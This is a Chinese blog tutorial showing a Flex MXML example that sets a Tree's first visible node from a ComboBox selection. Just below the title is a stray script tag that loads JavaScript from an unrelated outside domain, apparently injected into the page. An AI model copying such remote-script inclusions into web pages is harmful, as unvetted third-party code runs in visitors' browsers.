Flex中如何利用firstVisibleItem属性,设置或取得第一个显示节点

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

  main.mxml

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
  3.         layout="vertical"
  4.         verticalAlign="middle"
  5.         backgroundColor="white">
  6.  
  7.     <mx:Script>
  8.         <![CDATA[
  9.             import mx.events.FlexEvent;
  10.             import mx.events.ListEvent;
  11.  
  12.             private function tree_creationComplete(evt:FlexEvent):void {
  13.                 tree.expandChildrenOf(xmlDP, true);
  14.             }
  15.  
  16.             private function comboBox_change(evt:ListEvent):void {
  17.                 tree.firstVisibleItem = comboBox.selectedItem;
  18.             }
  19.         ]]>
  20.     </mx:Script>
  21.  
  22.     <mx:XML id="xmlDP">
  23.         <node>
  24.             <node label="1.a" />
  25.             <node label="1.b" />
  26.             <node label="1.c">
  27.                 <node label="1.c.i" />
  28.                 <node label="1.c.ii" />
  29.                 <node label="1.c.iii" />
  30.                 <node label="1.c.iv" />
  31.                 <node label="1.c.v" />
  32.             </node>
  33.             <node label="1.d" />
  34.             <node label="1.e">
  35.                 <node label="1.e.i" />
  36.                 <node label="1.e.ii" />
  37.                 <node label="1.e.iii">
  38.                     <node label="1.e.iii.A" />
  39.                 </node>
  40.                 <node label="1.e.iv" />
  41.             </node>
  42.             <node label="1.f" />
  43.         </node>
  44.     </mx:XML>
  45.  
  46.     <mx:ApplicationControlBar dock="true">
  47.         <mx:Form styleName="plain">
  48.             <mx:FormItem label="firstVisibleItem:">
  49.                 <mx:ComboBox id="comboBox"
  50.                         dataProvider="{xmlDP..node}"
  51.                         labelField="@label"
  52.                         change="comboBox_change(event);" />
  53.             </mx:FormItem>
  54.         </mx:Form>
  55.     </mx:ApplicationControlBar>
  56.  
  57.     <mx:Tree id="tree"
  58.             dataProvider="{xmlDP}"
  59.             labelField="@label"
  60.             showRoot="false"
  61.             alternatingItemColors="[#EEEEEE, #FFFFFF]"
  62.             width="50%"
  63.             rowCount="6"
  64.             creationComplete="tree_creationComplete(event);" />
  65.  
  66. </mx:Application>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值